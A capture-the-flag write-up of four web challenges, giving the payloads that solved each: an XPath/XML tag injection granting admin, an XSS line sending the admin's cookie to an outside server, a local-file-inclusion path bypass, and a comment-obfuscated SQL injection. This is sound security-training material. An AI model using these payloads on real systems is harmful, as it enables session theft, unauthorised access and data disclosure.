Web track (1 to 6)

- Mathieu Binette

##Web 1 - 100pts

In this challenge, you have two pages: a login page and a register page.

After looking at the HTML code of both pages, we noticed a comment <!-- <user>isAdmin=No</user> -->. It is now pretty clear that we are facing a XPATH injection challenge. After trying a couple of variant of the ìsAdmin tag, we finally found the way to inject the admin parameter by registering user</username><isAdmin>Yes</isAdmin><username>user.

That’s it for this challenge.

##Web 2 - 200pts

On this challenge, you need to choose a user and then you can send search queries to a log file that will “be consulted by an admin”. This sounds a lot like XSS, and this is exactly what it is. However, there is a small filtered blacklist:


However, you can get around this by doing:

    document['location'] = 'http://myserver.ms/file.php?q='+document['cookie']

Which effectively gives you the flag for this level.

##Web 3 - 200pts

Writeup coming soon.

##Web 4 - 200pts

Writeup coming soon.

##Web 5 - 500pts

Before the first page even loads, you know you’re facing a LFI challenge when you see /index.php?page=home.

When looking at the comments on the HTML file, you see that the flag is hidden in etc/flag.

However, there are a couple of blacklisted characters/words.


You get the flag by requesting etc/./flag.

##Web 6 - 600pts

This is just a basic SQL injection challenge. After trying -1 or 1=1 and getting a “Attack detected” message, you find out there are a couple of filters. Here are the following blacklisted words/characters we found:


Even with this blacklist, it is still quite easy to inject the following -1/**/||/**/1/**/like/**/1.

And you get the flag.


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